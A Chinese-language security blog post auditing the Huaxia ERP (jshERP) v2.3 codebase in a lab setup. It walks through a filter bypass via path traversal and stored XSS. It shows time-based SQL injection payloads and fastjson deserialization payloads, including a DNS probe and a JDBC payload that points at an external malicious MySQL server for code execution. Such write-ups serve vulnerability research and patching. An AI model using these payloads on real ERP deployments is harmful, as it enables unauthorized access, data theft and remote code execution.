目录

华夏 ERP CMS v2.3代码审计

华夏 ERP CMS v2.3代码审计

环境搭建

下载地址:https://github.com/jishenghua/jshERP/releases/tag/2.3

是个 spring boot 框架,根据配置文件 application.properties 创建数据库,然后导入 sql 文件,最后修改个不冲突的端口。

利用 navicat 创建数据库并导入 sql 文件

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250511220557375.png

启动后长这样

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250511220653550.png

审计流程

在正式进行代码审计前先走一遍代码审计的流程,看 pom.xml 文件,毫无疑问 spring boot 框架

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250511221157057.png

数据库操作类用的是 mybatis

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250511222115152.png

数据库是 mysql,这我们也是知道的,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250511222135875.png

还有就是用来 fastjson 和 swagger2

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250511222204366.png

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250511222220165.png

然后再看看路由机制,因为是 spring 框架嘛直接看 controller 文件下,路由机制比较简单,都是放在这个目录下的。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250511222315069.png

看路由机制主要是为了待会方便验证漏洞。

未授权访问

filter 审计

这个 cms 是使用的 filter 进行鉴权,来到 filter 模块,通过 init 使得allowUrls 为 /user/login#/user/registerUser#/v2/api-docs 这些路径,然后ignoredUrls 为这些 .css#.js#.jpg#.png#.gif#.ico 后缀的路由

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512135236496.png

猜测这两个变量中的路由应该是不用鉴权,然后继续看 dofilter 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512165904237.png

第一个是如果获得的 session 中 user 值不为 null 通过验证,然后就是如果请求的是 register.html,login.html,以及 doc.html 也不会进行拦截,还有就是对于 ignoredListallowUrls 变量中的请求路径是不会拦截的。

未授权分析

看来上面分析第一中包含.css 就行了,尝试看能不能通过这种形式进行绕过 .css/../account/getAccount,看到成功再未登录情况下获得了后台数据

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512171030818.png

还可以用第二种情况,通过白名单路径进行路径穿越,同样成功访问了后台信息

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512171012320.png

更多利用形式

/login.html/../account/getAccount
/register.html/../account/getAccount
/ch4ser.css/../account/getAccount
/ch4ser.jpg/../account/getAccount
/user/login/../../account/getAccount
/user/registerUser/../../account/getAccount
........

XSS 代码审计

xss 漏洞说实话没有太好的审计方法,一般是直接在输入框尝试看看,因为上面看到没有 filter 进行过滤,看到基本上随便一个输入框都会弹。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512174933305.png

类似的 xss 还有很多,添加商品处直接储存型 xss。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512175234630.png

SQL 注入

刚刚看依赖是使用 mybaits 数据库操作类,搜索关键词

%${  //因为模糊查询不能直接使用%#{}%,所以不会的开发可能会使用%${}%形式,这种就存在sql注入
in (${  //使用in (#{}这种形式会报错
order by ${  //order by也不能使用预编译

直接搜索 %${,搜出来一大堆,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512180308386.png

比如这里进入 AccountMapperEx.xml 文件中,看一下 xml 文件中的信息,第一个红框是命名空间,其实就是绑定的接口,然后第二个红框是方法名称,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512184948167.png

实际开发当中,对应 AccountMapperEx.xml 的一般都是定义在 AccountMapperEx 接口中(如果封装的好的话),看到这里这个接口内的这些方法都可以造成 sql 注入,因为都用的${}形式

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512180830563.png

MyBatis 的处理流程一般为

controller–>service–>Mapper–>xml文件映射–>执行数据库操作。

所以逆推,接下来就是找 AccountService,看到在其 select 方法中调用了 selectByConditionAccount 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512185242363.png

查询调用方法只有一个结果,看到参数 name 是通过 map 参数里面拿出来的,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512211427468.png

在该类的 select 进行了调用,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512211458828.png

然后继续逆推,看到貌似是根据 container.getCommonQuery(apiName) 来选择调用哪个类的 select 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512211720725.png

最后来到了 controller,在这里可以进行输入测试,这个 parameterMap 我们完全是可控的,通过 search 参数传入,然后 put 进 map 中,最后 sink 点的 name 等参数就是从 map 中拿出来的。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512211817507.png

传入下面 payload,但是发现并没有成功延时

/account/list?search=%7b%22%6e%61%6d%65%22%3a%22%22%2c%22%73%65%72%69%61%6c%4e%6f%22%3a%22%22%2c%22%72%65%6d%61%72%6b%22%3a%22%31%27%4f%52%20%73%6c%65%65%70%28%34%29%2d%2d%20%22%7d&pageSize=1&currentPage=1

看日志内容,发现是执行了 sql 语句的,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512221803917.png

但是因为括号的原因导致我们的 sleep 命令没有成功,然后尝试进行闭合括号,但是又会报错,因为其实在执行这个 sql 语句前面还有 sql 语句的构造,会根据 xml 文件进行构造,前面因为括号没有闭合报错导致不能到这步,尝试绕过了半天没有绕过。

没办法,只有换其他点继续审计了,在 UserMapperEx.xml 文件中,同样因为模糊查询使用了 ${} 形式没有进行预编译,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512194948359.png

还是从 Userservice 一直逆,同样来到这里

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512201414136.png

最后还是在 ResourceController 中进行了调用,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512210637765.png

还是构造如下 payload

/user/list?search={"userName":"","loginName":"' AND SLEEP(5)--"}&pageSize=1&currentPage=12

看到成功延时

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512211227459.png

看看其 sql 语句,因为没有括号的限制导致直接就能执行 sleep。

SELECT count(user.id) FROM jsh_user user LEFT JOIN jsh_user_business ub ON user.id = ub.key_id LEFT JOIN jsh_orga_user_rel rel ON rel.tenant_id = 132 AND user.id = rel.user_id AND ifnull(rel.delete_flag, '0') != '1' LEFT JOIN jsh_organization org ON org.tenant_id = 132 AND rel.orga_id = org.id AND ifnull(org.org_stcd, '0') != '5' WHERE user.tenant_id = 132 AND 1 = 1 AND ifnull(user.status, '0') NOT IN ('1', '2') AND user.login_name LIKE '%' AND SLEEP(5)

其他的功能点其实也是差不多的,需要多试试。

fastjosn 反序列化

因为用了 fastjson 的依赖,版本为 1.2.55,可以利用 1.2.68 的 payload 进行一个通杀。

全局搜索下面关键词

parseObject(
JSONObject.parse(
JSONObject.parseObject(

结果有点多,还是一个一个排查,找参数可控的

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512222914809.png

其中在 getInfo 中有进行反序列化方法的调用,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512223525304.png

调用这个方法的地方很多,比如在上面的 getUserList 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250512223732618.png

明显 search 可控,构造一个 urldns 的请求,payload 如下

{"@type":"java.net.Inet4Address","val":"d84dfa38.log.dnslog.myfw.us."}

成功收到 dns 解析,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250513125133538.png

但是版本是 1.2.55,无法利用 1.2.47 得进行通杀,可以利用 1.2.68 得 payload 进行通杀,因为还有 mysql 的依赖,可以打 jdbc,但是打 jdbc 需要反序列化链(或者读文件),感觉的化应该用 spring aop 链可以打,但是懒得弄了,直接添加个 cc 依赖尝试。

<dependency>  
    <groupId>commons-collections</groupId>  
    <artifactId>commons-collections</artifactId>  
    <version>3.2.1</version>  
</dependency>

然后 vps 上启个恶意的 mysqlserver

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250513160452519.png

fastjson1.2.68 的 jdbc payload(需要根据 mysql 的版本选择)

{
    "a": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.mysql.jdbc.JDBC4Connection",
        "hostToConnectTo": "47.109.156.81",
        "portToConnectTo": 3306,
        "info": {
            "user": "cc6",
            "password": "pass",
            "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
            "autoDeserialize": "true",
            "NUM_HOSTS": "1"
        },
        "databaseToConnectTo": "dbname",
        "url": ""
    }
}

最后成功弹出计算机,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250513160604337.png

只不过这里的 cc 依赖是自己添加的,只是为了证明可以打,实际可以打 spring aop 链。

后面看到好像还有 Hikari 库,可以直接打 jndi(不过需要 atuotype 为 true 才行)。

总结

参考:https://drun1baby.top/2022/09/30/Java-代码审计之华夏-ERP-CMS-V2.3/#5-Fastjson-反序列化-RCE

参考:https://xilitter.github.io/2024/04/30/java代码审计-华夏ERP-v2-3/index.html